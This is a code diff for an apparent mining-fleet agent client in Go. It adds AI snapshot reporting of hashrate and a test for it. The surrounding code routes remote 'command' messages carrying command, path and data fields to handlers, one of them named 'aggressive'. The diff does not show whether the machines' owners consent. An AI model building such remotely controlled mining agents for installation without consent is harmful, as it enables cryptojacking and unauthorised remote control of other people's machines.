@@ -483,6 +483,11 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "adaptive_strategy_update":
|
||||
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||
case "ai_snapshot_request":
|
||||
go func() {
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pushAISnapshot(hps)
|
||||
}()
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
@@ -502,6 +507,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
|
||||
if c.handleAICommand(action, tailLines, command, path, data) {
|
||||
return
|
||||
}
|
||||
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||
return
|
||||
}
|
||||
@@ -1146,6 +1154,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
}
|
||||
// Piggyback Fleet AI snapshot on the ~60s stats probe tick.
|
||||
if probeTick%6 == 0 {
|
||||
c.pushAISnapshot(stats.MiningHashrate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -63,6 +63,12 @@ func TestHandleMessageNewJobSetsJob(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleMessageAISnapshotRequest(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
// Should schedule push without panicking (write fails safely with nil conn).
|
||||
c.handleMessage(Message{Type: "ai_snapshot_request", Payload: json.RawMessage("{}")})
|
||||
}
|
||||
|
||||
func TestHandleMessageNewJobWithErrorRetries(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
// Error payload — pool not ready yet.
|
||||
|
||||
Reference in New Issue
Block a user